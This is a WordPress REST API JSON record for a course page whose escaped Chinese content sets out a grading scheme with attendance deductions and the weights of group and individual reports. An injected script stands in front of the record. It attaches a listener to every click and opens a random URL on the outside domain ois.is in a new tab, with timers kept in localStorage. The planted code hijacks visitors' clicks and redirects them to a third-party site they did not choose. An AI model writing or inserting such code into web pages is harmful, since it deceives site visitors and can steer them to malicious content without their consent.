<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1001,"date":"2014-10-11T12:11:29","date_gmt":"2014-10-11T04:11:29","guid":{"rendered":"http:\/\/edu.secda.info\/phil999_course01\/?page_id=1001"},"modified":"2020-02-24T11:14:59","modified_gmt":"2020-02-24T03:14:59","slug":"%e5%8f%83%e8%80%83%e6%9b%b8%e7%b1%8d","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/phil999_course01\/?page_id=1001","title":{"rendered":"\u8a55\u91cf"},"content":{"rendered":"<ol>\n<li>\u9762\u6388\u53ca\u540c\u6b65\u6388\u8ab2\u7f3a\u5e2d\u4e00\u6b21\u6263\u51fa\u7f3a\u52e4\u5206\u65783\u5206\uff0c\u4e8c\u6b21\u9072\u5230\u8a18\u4e00\u6b21\u7f3a\u5e2d<\/li>\n<li>\u5718\u9ad4\u4f5c\u696d\u5831\u544a\uff1a\u908f\u8f2f\u91d1\u4e09\u89d2\u500b\u6848\u5206\u6790(10\u5206)\uff0c\u8cfc\u7269\u7684\u672a\u4f86\u9032\u884c\u5f0fPPT(10\u5206)\uff0c\u671f\u672b\u500b\u6848\u8ad6\u6587(20\u5206)<\/li>\n<li>\u500b\u4eba\u4f5c\u696d\u5831\u544a\uff1a\u85cd\u6d77\u7b56\u7565\u500b\u6848\u5206\u6790(10\u5206)\uff0c\u5546\u696d\u6a21\u5f0f\u5275\u65b0\u500b\u6848\u5206\u6790(15\u5206)\uff0c\u696d\u5e2b\u6f14\u8b1bXMind+\u6587\u5b57\u5fc3\u5f972\u7bc7(10\u5206)<\/li>\n<li>\u51fa\u7f3a\u52e410%\uff0c\u4e0a\u8ab2\u53c3\u820710%\uff0c\u5718\u9ad4\u4f5c\u696d\u5831\u544a\uff1a40%\uff0c\u500b\u4eba\u4f5c\u696d\u5831\u544a35%\uff0c\u500b\u4eba\u54c1\u724c\u5e73\u53f010%\u3002<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>\u9762\u6388\u53ca\u540c\u6b65\u6388\u8ab2\u7f3a\u5e2d\u4e00\u6b21\u6263\u51fa\u7f3a\u52e4\u5206\u65783\u5206\uff0c\u4e8c\u6b21\u9072\u5230\u8a18\u4e00\u6b21\u7f3a\u5e2d \u5718\u9ad4\u4f5c\u696d\u5831\u544a\uff1a\u908f\u8f2f\u91d1<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":1526,"menu_order":4,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/pages\/1001"}],"collection":[{"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1001"}],"version-history":[{"count":4,"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/pages\/1001\/revisions"}],"predecessor-version":[{"id":1469,"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/pages\/1001\/revisions\/1469"}],"up":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/pages\/1526"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1001"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}